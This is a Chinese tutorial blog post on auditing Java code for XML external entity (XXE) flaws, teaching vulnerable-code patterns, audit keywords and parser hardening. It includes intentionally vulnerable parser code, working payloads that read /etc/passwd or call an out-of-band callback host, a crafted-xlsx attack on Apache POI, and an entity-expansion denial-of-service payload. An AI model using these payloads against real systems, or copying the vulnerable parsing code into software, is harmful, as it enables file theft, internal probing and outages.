惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

cs.AI updates on arXiv.org
cs.AI updates on arXiv.org
K
Kaspersky official blog
L
Lohrmann on Cybersecurity
T
Tenable Blog
Latest news
Latest news
C
CXSECURITY Database RSS Feed - CXSecurity.com
Security Latest
Security Latest
V
Vulnerabilities – Threatpost
The Hacker News
The Hacker News
P
Palo Alto Networks Blog
I
Intezer
T
Threatpost
C
Cisco Blogs
A
Arctic Wolf
C
Cyber Attacks, Cyber Crime and Cyber Security
WordPress大学
WordPress大学
月光博客
月光博客
博客园 - 聂微东
Last Week in AI
Last Week in AI
V
V2EX
小众软件
小众软件
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
Simon Willison's Weblog
Simon Willison's Weblog
T
The Exploit Database - CXSecurity.com
宝玉的分享
宝玉的分享
酷 壳 – CoolShell
酷 壳 – CoolShell
Spread Privacy
Spread Privacy
博客园 - 三生石上(FineUI控件)
博客园 - 叶小钗
T
Threat Research - Cisco Blogs
博客园 - Franky
S
Schneier on Security
Know Your Adversary
Know Your Adversary
钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知
aimingoo的专栏
aimingoo的专栏
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
美团技术团队
T
Tor Project blog
C
Cybersecurity and Infrastructure Security Agency CISA
腾讯CDC
Project Zero
Project Zero
V
Visual Studio Blog
人人都是产品经理
人人都是产品经理
量子位
The GitHub Blog
The GitHub Blog
I
InfoQ
P
Proofpoint News Feed
Cyberwarzone
Cyberwarzone
P
Privacy & Cybersecurity Law Blog
B
Blog RSS Feed

SumSec's Blog

AI Agent 工程的必然演进:CLI、Skills、Harne… 从安全角度谈Java反射机制--前章 · SUMSEC 从安全角度谈Java反射机制--终章 · SUMSEC 逆向学习fastjson反序列化始 · SUMSEC 2020年研究回顾总结 · SUMSEC Abstract syntax tree classes for … Analyzing data flow in Java · SUM… Annotations in Java · SUMSEC Basic query for Java code · SUMSEC BypassSuper使用介绍说明 · SUMSEC CodeQL Create OpenJdk/Jdk8 Databa… CodeQL library for Java · SUMSEC Navigating the call graph · SUMSEC Overflow-prone comparisons in Jav… Types in Java · SUMSEC Working with source locations · S… Aliases · SUMSEC Expression · SUMSEC Formulas · SUMSEC Javadoc · SUMSEC Modules · SUMSEC Predicates · SUMSEC Queries · SUMSEC Type · SUMSEC Variables · SUMSEC 一道shiro反序列化题目引发的思考 · SUMSEC 修改ysoserial使其支持任意代码执行 · SUMSEC 自定义 ClassLoader 隔离运行不同版本jar包的方式 ·… 2020网鼎杯---Java文件上传wp · SUMSEC CNVD-2020-10487(CVE-2020-1938)tom… JDSRC安全课笔记 · SUMSEC Java反序列化链回显解决方案 · SUMSEC Skipped breakpoint because it hap… Windows Terminal 配置文件 · SUMSEC bypass 学习笔记之绕安全狗bypass safedog · … 一次意外的代码审计----JfinalCMS审计 · SUMSEC 从安全角度谈Java反射机制--序章 · SUMSEC 小楼昨夜又春风,你知ysoserial-Gadget-URLDNS… 春眠不觉晓,RCE知多少? · SUMSEC 漫谈Commons-Collections反序列化 · SUMSEC 漫谈Java反序列化 · SUMSEC 白头搔更短,SSTI惹人心! · SUMSEC 记一次面试题 · SUMSEC About Me 关于我 · SUMSEC Apache Flink任意Jar包上传导致远程代码执行 · SU… CVE-2019-1388 UAC提权复现 · SUMSEC CVE-2019-16097 || Harbor任意管理员注册漏洞… Python加密shellcode免杀 · SUMSEC Telegram机器人作为渗透测试框架 · SUMSEC VM虚拟机无法安装vmtools解决|本程序需要您将此虚拟机上安装… 谁能想到,电视遥控器竟成了 Vibe Coding 神器 · SU… 从手改 Skill 到自动进化:评测结果和执行轨迹如何让 Agen… 模型人人都能用,什么才是你能带走的?我的答案是一个可进化的SKIL… 模型人人都能用,什么才是你能带走的?我的答案是一个可进化的Skil… AI 时代 ShiroAttack2 5.x:修改了什么 · SU… 在 AGI 降临前,先给 AI 开一条”脑内弹幕”通道 · SUM… 一篇博文,三种时间:网页幻灯与 Remotion 动效的交付逻辑 … 🔍 别让大模型”想太多”:SKILL开发中的语义陷阱与抗幻觉设计 … 2022 年年度总结 · SUMSEC Java Swing To RCE 漏洞分析 · SUMSEC SpringBoot GatewayEL表达式漏洞分析 · SUM… Sensitive keys in codebases · SUM… 论如何优雅注入 Java 内存马 · SUMSEC SUMSEC 知识点 · SUMSEC VMWare Workspace ONE Access Auth … Spring Framework RCE CVE-2022-229… 相似度算法调研 · SUMSEC CVE-2022-33891 Apache Spark shell… 正则匹配配置不当 · SUMSEC Spring Data MongoDB SpEL CVE-2022… CodeQl Usage Tricks · SUMSEC Spring Boot RCE到内存马探索 · SUMSEC Shiro后渗透拓展面 · SUMSEC shiro反序列化漏洞攻击拓展面–修改key · SUMSEC GitHub Java CodeQL CTF · SUMSEC Hack-Tools 转化成Web · SUMSEC CodeQL与Shiro550碰撞 · SUMSEC CodeQL初见Shiro550 · SUMSEC CodeQL与AST之间联系 · SUMSEC Java加载动态链接库 · SUMSEC Log4j2 漏洞分析 · SUMSEC Interprocedural-Analysis 过程间分析 · … Data Analysis Foundation 数据分析基础 ·… Data Flow Analysis · SUMSEC Intermediate Representation 中间代表(… PII泄露–用CodeQL识别日志中的PII数据 · SUMSEC CodeQL workshop for Java: Unsafe … 前言 · SUMSEC 漏洞环境的搭建 · SUMSEC Fastjson回显 · SUMSEC Tomcat通用回显学习笔记 · SUMSEC 从Java反序列化漏洞题看CodeQL数据流 · SUMSEC 概述 · SUMSEC 记一次Log4j失败的Gadget挖掘记录 · SUMSEC Ysoserial改造记录 · SUMSEC JNDI注入 · SUMSEC shiro JRMP gadget · SUMSEC Fastjson MySQL gadget复现 · SUMSEC 2021年度总结 · SUMSEC
一篇文章读懂Java代码审计之XXE · SUMSEC
2026-07-17 · via SumSec's Blog

一篇文章读懂Java代码审计之XXE

前言

  • 学习总结Java审计过程中笔记,审计方法
  • 阅读要求:有简单Java代码基础,了解漏洞原理
  • 阅读时长:30min 篇幅比较长

漏洞简介

   简单来说,XXE就是XML外部实体注入。当允许引用外部实体时,通过构造恶意内容,就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害。


有回显

   不说废话,先看效果,成功读取文本内容。tip: 本次测试中需要将Content-Type: application/x-www-form-urlencoded修改成Content-Type: application/xml不然就无法成功。
在这里插入图片描述
在这里插入图片描述
   代码分析漏洞成因:

public String xxeDocumentBuilderReturn(HttpServletRequest request) {
        try {
            String xml_con = WebUtils.getRequestBody(request);
            System.out.println(xml_con);

            DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
            DocumentBuilder db = dbf.newDocumentBuilder();
            StringReader sr = new StringReader(xml_con);
            InputSource is = new InputSource(sr);
            Document document = db.parse(is);  // parse xml

            // 遍历xml节点name和value
            StringBuffer buf = new StringBuffer();
            NodeList rootNodeList = document.getChildNodes();
            for (int i = 0; i < rootNodeList.getLength(); i++) {
                Node rootNode = rootNodeList.item(i);
                NodeList child = rootNode.getChildNodes();
                for (int j = 0; j < child.getLength(); j++) {
                    Node node = child.item(j);
                    buf.append(node.getNodeName() + ": " + node.getTextContent() + "\n");
                }
            }
            sr.close();
            System.out.println(buf.toString());
            return buf.toString();
        } catch (Exception e) {
            System.out.println(e);
            return "except";
        }
    }

不难发现我们只要清楚这四行代码功能,就能很好清楚Java解析XML机制。

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
            DocumentBuilder db = dbf.newDocumentBuilder();
            StringReader sr = new StringReader(xml_con);
            InputSource is = new InputSource(sr);
            Document document = db.parse(is);

   DocumentBuilderFactory是一个抽象工厂类,它不能直接实例化,但该类提供了一个newInstance方法 ,这个方法会根据本地平台默认安装的解析器,自动创建一个工厂的对象并返回。
在这里插入图片描述


无回显

在这里插入图片描述

public String DocumentBuilder(HttpServletRequest request) {
        try {
            String xml_con = WebUtils.getRequestBody(request);
            System.out.println(xml_con);

            DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
            DocumentBuilder db = dbf.newDocumentBuilder();
            StringReader sr = new StringReader(xml_con);
            InputSource is = new InputSource(sr);
            Document document = db.parse(is);  // parse xml

            // 遍历xml节点name和value
            StringBuffer result = new StringBuffer();
            NodeList rootNodeList = document.getChildNodes();
            for (int i = 0; i < rootNodeList.getLength(); i++) {
                Node rootNode = rootNodeList.item(i);
                NodeList child = rootNode.getChildNodes();
                for (int j = 0; j < child.getLength(); j++) {
                    Node node = child.item(j);
                    
                    if (child.item(j).getNodeType() == Node.ELEMENT_NODE) {
                        result.append(node.getNodeName() + ": " + node.getFirstChild().getNodeValue() + "\n");
                    }
                }
            }
            sr.close();
            System.out.println(result.toString());
            return result.toString();
        } catch (Exception e) {
            System.out.println(e);
            return "except";
        }
    }

   我们使用burp比较器分析两部分代码,不能发现左边就是多了一个判断语句。(左:无回显代码 右:有回显代码)
在这里插入图片描述
if (child.item(j).getNodeType() == Node.ELEMENT_NODE)
正常解析XML,需要判断是否是ELEMENT_NODE类型。否则会出现多余的的节点。


对于这样子无回显的验证可以使用ceye.io网站,具体方法:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE joychou [
    <!ENTITY xxe SYSTEM "http://ip.port.xxxx.ceye.io/xxe_test">
]>
<root>&xxe;</root>

在这里插入图片描述
在这里插入图片描述
   复测过程中遇见的小坑,个人感觉纯属玄学问题。两次请求数据几乎是一模一样的,但是返回结果愣是不一样,一个200一个400。(充分体现了挖洞得随缘,有时候姿势对了,但是结果不对可能不是你的错误)
在这里插入图片描述
在这里插入图片描述


Xinclude

什么是xinclude
   顾名思义,xinclude可以理解为xml include熟悉编译/脚本语言的一定熟知,像php的include,python和java的import都是可以进行文件包含的。
那么文件包含有什么好处?
   当然是可以使代码更整洁,我们可以将定义的功能函数放在function.php中,再在需要使用功能函数的文件中使用include包含function.php,这样就避免了重复冗余的函数定义,同样可以增加代码的可读性。故此,xinclude也不例外,它是xml标记语言中包含其他文件的方式。

<?xml version="1.0" ?>
<root xmlns:xi="http://www.w3.org/2001/XInclude">
 <xi:include href="file:///E:/1.txt" parse="text"/>
</root>

在这里插入图片描述

public String xxe_xinclude_DocumentBuilder(HttpServletRequest request) {
       try {
           String xml_con = WebUtils.getRequestBody(request);
           System.out.println(xml_con);

           DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
           dbf.setXIncludeAware(true);   // 支持XInclude
           dbf.setNamespaceAware(true);  // 支持XInclude
           DocumentBuilder db = dbf.newDocumentBuilder();
           StringReader sr = new StringReader(xml_con);
           InputSource is = new InputSource(sr);
           Document document = db.parse(is);  // parse xml

           NodeList rootNodeList = document.getChildNodes();
           String str = new String();
           for (int i = 0; i < rootNodeList.getLength(); i++) {
               Node rootNode = rootNodeList.item(i);
               NodeList xxe = rootNode.getChildNodes();
               for (int j = 0; j < xxe.getLength(); j++) {
                   Node xxeNode = xxe.item(j);
             
                   str = str + xxeNode.getNodeValue();
                   System.out.println(str);
               }

           }

           sr.close();
           return str;
       } catch (Exception e) {
           System.out.println(e);
           return "except";
       }
   }

Payload分享

飘零师傅的payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE resetPassword [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd">
<!ENTITY % expr 'aaa)>
<!ENTITY &#x25; file SYSTEM "file:///flag">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:////&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
<!ELEMENT aa (bb'>
    %local_dtd;
]>
<request>
    <status>&data;</status>
</request>
<?xml version="1.0" ?>
<!DOCTYPE message [
    <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
    <!ENTITY % ISOamso '
        <!ENTITY % file SYSTEM "file:///etc/passwd">
        <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
        %eval;
        %error;
    '>
    %local_dtd;
]>

Poi ooxml XXE

CVE-2014-3529

  • 新建xxe.xlsx文件,修改后缀名xxe.zip解压。
    在这里插入图片描述
  • 修改[Content-Types].xml

    <!DOCTYPE x [ <!ENTITY xxe SYSTEM "http://xxxxx.xx.ixxo"> ]>
    <x>&xxe;</x>
    

    后因为无法访问ceye.io网站,笔者自己在本地搭建一台服务器。推荐使用phpstudy,开启访问日志,具体方法百度。
    在这里插入图片描述

  • 重新压缩成zip,在修改成xlsx文件。
  • 上传文件
    在这里插入图片描述
  • 或者直接读取文件。

    File f = new File("/path/xxe.xlsx");
            FileInputStream in = new FileInputStream(f);
    
            XSSFWorkbook wb = new XSSFWorkbook(in); // xxe vuln
            XSSFSheet sheet = wb.getSheetAt(0);
            int total = sheet.getLastRowNum();
    
            for (Row row : sheet){
                for (Cell cell :row){
                   System.out.println(cell.getStringCellValue());
                }
                System.out.println("expection");
            }
    
  • 看下报错,报出poi错误才是正确的。
    在这里插入图片描述
  • 查看访问记录
    在这里插入图片描述
  • 修复建议,换成3.10-FINAL版本以上
    在这里插入图片描述

CVE-2017-5644

其他步骤同CVE-2014-3529中的方式,这次是在 xl/workbook.xml 中注入实体:

<!DOCTYPE x [     
    <!ENTITY e1 "">
    <!ENTITY e2 "&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;">
    <!ENTITY e3 "&e2;&e2;&e2;&e2;&e2;&e2;&e2;&e2;&e2;&e2;&e2;&e2;&e2;&e2;&e2;&e2;&e2;&e2;&e2;&e2;">
    <!ENTITY e4 "&e3;&e3;&e3;&e3;&e3;&e3;&e3;&e3;&e3;&e3;&e3;&e3;&e3;&e3;&e3;&e3;&e3;&e3;&e3;&e3;">
    <!ENTITY e5 "&e4;&e4;&e4;&e4;&e4;&e4;&e4;&e4;&e4;&e4;&e4;&e4;&e4;&e4;&e4;&e4;&e4;&e4;&e4;&e4;">
    <!ENTITY e6 "&e5;&e5;&e5;&e5;&e5;&e5;&e5;&e5;&e5;&e5;&e5;&e5;&e5;&e5;&e5;&e5;&e5;&e5;&e5;&e5;">
    <!ENTITY e7 "&e6;&e6;&e6;&e6;&e6;&e6;&e6;&e6;&e6;&e6;&e6;&e6;&e6;&e6;&e6;&e6;&e6;&e6;&e6;&e6;">
    <!ENTITY e8 "&e7;&e7;&e7;&e7;&e7;&e7;&e7;&e7;&e7;&e7;&e7;&e7;&e7;&e7;&e7;&e7;&e7;&e7;&e7;&e7;">
    <!ENTITY e9 "&e8;&e8;&e8;&e8;&e8;&e8;&e8;&e8;&e8;&e8;&e8;&e8;&e8;&e8;&e8;&e8;&e8;&e8;&e8;&e8;">
    <!ENTITY e10 "&e9;&e9;&e9;&e9;&e9;&e9;&e9;&e9;&e9;&e9;&e9;&e9;&e9;&e9;&e9;&e9;&e9;&e9;&e9;&e9;">
    <!ENTITY e11 "&e10;&e10;&e10;&e10;&e10;&e10;&e10;&e10;&e10;&e10;&e10;&e10;&e10;&e10;&e10;&e10;">
]>
<x>&e11;</x>

   &e11; 代码引用ENTITY e11,而 e11 由16 个 e10 组成,递归调用,循环次数达到 16^10 的规模。循环大量的实体引用,会消耗大量的CPU资源,长时间显示占用近100%。

   POIXMLTypeLoader 中,解析xml的时候直接读取xml,没有对实体的数量进行限制。3.11 对 POIXMLTypeLoader 中的实体大小进行了限制 ,最大为4096,但是当实体为空的时候(如上例),还是可以构造空实体,形成大量循环,占用 cpu 资源,造成拒绝服务攻击。


xlsx-streamer XXE

   xlsx-streamer XXE漏洞与Poi ooxml XXE类似,具体查看参考链接笔者这里就不过多的叙述了。


代码审计技巧

查找关键字

javax.xml.parsers.DocumentBuilderFactory;
javax.xml.parsers.SAXParser
javax.xml.transform.TransformerFactory
javax.xml.validation.Validator
javax.xml.validation.SchemaFactory
javax.xml.transform.sax.SAXTransformerFactory
javax.xml.transform.sax.SAXSource
org.xml.sax.XMLReader
org.xml.sax.helpers.XMLReaderFactory
org.dom4j.io.SAXReader
org.jdom.input.SAXBuilder
org.jdom2.input.SAXBuilder
javax.xml.bind.Unmarshaller
javax.xml.xpath.XpathExpression
javax.xml.stream.XMLStreamReader
org.apache.commons.digester3.Digester
…………

XXE防御

//一般的防护
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
            dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
            dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
            dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
//xinclude防护
dbf.setXIncludeAware(true);   // 支持XInclude
            dbf.setNamespaceAware(true);  // 支持XInclude
            dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
            dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
            dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

推荐案例

收集了很多国内外知名厂商出现案例
基础知识文章XXE
XXE更多骚操作
Apache Solr XXE漏洞分析 -【CVE-2018-8026 】


参考

https://blog.csdn.net/weixin_40918067/article/details/90950535
https://github.com/JoyChou93/java-sec-code/wiki/XXE
https://blog.csdn.net/hua1017177499/article/details/78985166
https://p0rz9.github.io/2019/02/27/xxe/
https://www.anquanke.com/post/id/156227
https://www.jianshu.com/p/73cd11d83c30
https://www.itread01.com/hkpcyyp.html